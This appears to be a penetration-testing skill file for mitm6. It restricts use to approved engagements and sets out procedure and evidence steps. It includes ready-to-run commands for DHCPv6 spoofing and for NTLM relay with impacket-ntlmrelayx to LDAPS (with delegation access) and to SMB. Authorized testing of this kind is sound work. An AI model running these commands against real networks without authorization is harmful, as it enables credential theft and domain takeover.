timsonner Mitm6
Purpose
Use this skill only when the rules of engagement explicitly permit IPv6-based name-resolution and relay-path assessment.
Phase Fit
- Primary: Vulnerability Analysis, Validation and Controlled Impact Demonstration
- Secondary: Detection and Response Assessment
Use When
- Need to validate whether IPv6 behavior or WPAD enables credential capture or relay risk.
- Need to support an approved relay-path assessment.
- Need to test whether defenders can detect this activity.
Avoid When
- IPv6 or relay-style testing is not explicitly approved.
- The environment is highly sensitive to network interference.
Inputs
- Approved interface and segment
- Explicit approval boundaries for analyze versus active use
- Defender coordination requirements if detection validation is in scope
Procedure
- Confirm that the segment and impact level are explicitly approved.
- Keep the scope limited to the approved hosts and window.
- Coordinate with complementary tooling only when the engagement allows it.
- Capture only the evidence needed to show the weakness.
- Stop immediately if the activity exceeds the approved boundary.
Command Syntax
Replace sample interfaces and domains with approved in-scope values.
# Start IPv6 spoofing for the target domain
mitm6 -i eth0 -d contoso.com
# Ignore hosts without FQDN in DHCPv6 responses
mitm6 -i eth0 -d contoso.com --ignore-nofqdn
# Combined with ntlmrelayx for LDAP relay
mitm6 -d contoso.com &
impacket-ntlmrelayx -6 -t ldaps://dc01.contoso.com --delegate-access
# Combined with ntlmrelayx for SMB relay
mitm6 -d contoso.com &
impacket-ntlmrelayx -6 -t smb://10.10.10.100 -smb2support
Evidence to Capture
- Whether IPv6 behavior creates a relay or credential-risk path
- Exact segment and domain scope used
- Detection or logging observations if defenders are in scope
Safety Boundaries
- Use only with explicit written approval.
- Protect all captured authentication material as sensitive evidence.